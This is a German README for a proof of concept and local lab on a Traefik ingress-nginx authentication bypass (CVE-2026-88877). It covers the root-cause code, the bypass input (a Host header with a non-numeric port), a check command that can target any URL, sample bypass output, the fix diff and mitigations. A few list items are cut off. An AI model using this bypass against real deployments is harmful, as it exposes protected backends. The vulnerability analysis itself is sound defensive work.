
Proof-of-Concept und reproduzierbares Lab für CVE-2026-88877, eine Authentifizierungsumgehung in Traefik ingress-nginx über from-to-www-redirect, mit einem schreibgeschützten Prüfmodus.
v3.7.0–v3.7.11 — Authentifizierungsumgehung über from-to-www-redirectAutor: pwnVader · Lizenz: MIT (Repository-Wurzel)
| Komponente | Traefik (Kubernetes ingress-nginx Provider, providers.kubernetesingressnginx) |
| Typ | CWE-639 — Autorisierungsumgehung durch benutzergesteuerten Schlüssel |
| Betroffen | Traefik >= v3.7.0, <= v3.7.11 (v2 und < v3.7.0 sind nicht betroffen) |
| Behoben | v3.7.12 |
| CVE | CVE-2026-88877 — CVSS 4.0 9.3 (Kritisch, laut Herstellerhinweis) · CVSS 3.1 9.8 (wie von einigen Schwachstellendatenbanken veröffentlicht) |
| Offizieller Hinweis | GHSA-cjr6-pf59-jq29 (Traefik-Repository-Hinweis) |
| PoC | poc.sh · lab/ |
Offenlegungsstatus. Diese Schwachstelle wurde vom Traefik-Projekt öffentlich offengelegt und ist in v3.7.12 behoben. Dieses Dokument ist eine unabhängige technische Analyse mit einem reproduzierbaren Lab — es ist nicht die ursprüngliche Entdeckung. Die Schwachstelle wurde über den oben aufgeführten Herstellerhinweis gemeldet/offengelegt (siehe auch den VulnCheck-Hinweis). Verwenden Sie dieses Material nicht gegen Systeme ohne ausdrückliche Genehmigung.
GHSA-Identifikatoren. Der offizielle Repository-Hinweis ist GHSA-cjr6-pf59-jq29. GitHubs generische Hinweisdatenbank enthält ebenfalls einen separaten Eintrag, GHSA-9rch-gvf7-hrfc, für dasselbe Problem; bei der Angabe der Schwachstelle ist der Repository-Hinweis zu bevorzugen.
Wenn ein Ingress sowohl eine Authentifizierungsannotation (z. B.
nginx.ingress.kubernetes.io/auth-type: basic) als auch
nginx.ingress.kubernetes.io/from-to-www-redirect: "true" trägt, erstellt Traefiks ingress-nginx-Provider
einen zusätzlichen „Sibling"-Router, der nur den Host abgleicht, ausschließlich die generierte
RedirectRegex-Middleware trägt und weiterhin auf das geschützte Backend zeigt:
// pkg/provider/kubernetes/ingress-nginx/translator.go (v3.7.10)
conf.HTTP.Middlewares[mwName] = &dynamic.Middleware{
RedirectRegex: &dynamic.RedirectRegex{
Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
Replacement: fmt.Sprintf("$1://%s$2/$3", f.TargetHostname),
StatusCode: new(http.StatusPermanentRedirect), // 308
},
}
conf.HTTP.Routers[routerKey+"-from-to-www-redirect"] = &dynamic.Router{
Rule: f.ExtraRouterRule, // Host("www.example.com")
Middlewares: []string{mwName}, // ONLY the redirect middleware
Service: rt.Service, // <-- the protected backend
}
RedirectRegex ist kein terminaler Handler: Wenn sein Regex nicht übereinstimmt, wird die Anfrage
an den nächsten Handler weitergegeben und letztendlich an das Backend weitergeleitet. Das Regex akzeptiert nur einen numerischen
Port ((:[0-9]+)?), während Traefiks Host()-Matcher die Authority durch
net.SplitHostPort kanonisiert. Eine Anfrage, deren Host-Header einen nicht-numerischen oder leeren Port hat, daher:
Host("www.example.com")), aberwww.example.com:x), wird also nicht umgeleitet, undEine unauthentifizierte Anfrage — Host: www.example.com:x — erreicht ein Backend, das
Authentifizierung erfordert. Der zurückgegebene HTTP-Status hängt vom Backend selbst ab: In diesem Lab
antwortet das traefik/whoami-Backend mit 200, aber die sicherheitsrelevante Tatsache ist, dass die Anfrage
das Backend ohne Authentifizierung erreicht hat, nicht der spezifische Statuscode.
v3.7.0–v3.7.11 läuft mit aktiviertem ingress-nginx-Provider
(--providers.kubernetesingressnginx=true).nginx.ingress.kubernetes.io/from-to-www-redirect: "true" kombiniert, für einen Host ohne www.-Gegenstück
(andernfalls wird der Sibling-Router nicht generiert).# requirements: docker, kind (https://kind.sigs.k8s.io), kubectl
./lab/up.sh # kind cluster + Traefik v3.7.10 + whoami + protected Ingress
./poc.sh lab # applies manifests, exposes the lab on 127.0.0.1:18080, tests
./lab/down.sh # tear down
poc.sh check kann auch auf jede Kandidaten-Deployment gerichtet werden:
./poc.sh check --url https://target.example --host target.example --verbose
[1] Protected host (Host: example.local) — authentication must be enforced
HTTP 401
[PASS] auth middleware enforced (HTTP 401)
[2] www host (Host: www.example.local) — the redirect router
HTTP 308
[PASS] redirect router responds (HTTP 308)
[3] Bypass attempt (Host: www.example.local:x) — non-numeric port
HTTP 200
> Hostname: whoami-ff77f998d-25f6n
> RemoteAddr: 10.244.0.8:57586
> X-Forwarded-Server: traefik-7f76f4c58d-5knfz
== RESULT ==
[PASS] VULNERABLE: the request reached the protected backend without authentication (HTTP 200)
Das im Lab verwendete Backend (traefik/whoami) gibt die Anfrage zurück und beweist damit, dass die Anfrage den
geschützten Dienst ohne Authorization-Header und ohne angewandte Auth-Middleware erreicht hat. Der angezeigte Statuscode
(200) ist der, den dieses spezielle Backend zurückgibt; bei einem anderen Backend könnte die Umgehung
als eine andere Nicht-401/403-/Nicht-Redirect-Antwort auftreten.
- Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
+ // Anchored to prevent ReplaceAllString from rewriting past the leading URL.
+ Regex: `^(https?)://(?:\[[^/\]]*\]|[^/:]+)(:[0-9]+)?[^/]*/(.*?)/?$`,
...
- Service: rt.Service,
+ // The redirect router does not carry the location middlewares (auth included),
+ // so it must never reach the backend.
+ Service: unavailableServiceName,
Der Redirect-Router zeigt nun auf einen internen unavailable-Dienst, sodass er selbst dann, wenn eine Anfrage
am Regex vorbeirutscht, niemals ein geschütztes Backend erreichen kann.
Aktualisieren Sie auf Traefik v3.7.12 oder später. Installationen, die nicht aktualisieren können, sollten vorübergehend
nginx.ingress.kubernetes.io/from-to-www-redirect aus jedem Ingress entfernen, das Authentifizierung oder
Allowlists kombiniert, und die Weiterleitung mit einer Konfiguration implementieren, die die Zugriffskontroll-
Middlewares beibehält (z. B. explizite Traefik RedirectScheme/RedirectRegex CRDs mit den angehängten
Middlewares). Defense in Depth: Erzwingen Sie die Authentifizierung zusätzlich am Backend/Upstream.
Nur für autorisierte Sicherheitstests. Das Lab ist lokal und eigenständig; der check-Modus ist
schreibgeschützt (drei GET-Anfragen) und darf nur gegen Systeme verwendet werden, die Ihnen gehören oder für die Sie ausdrücklich
autorisiert sind, sie zu testen.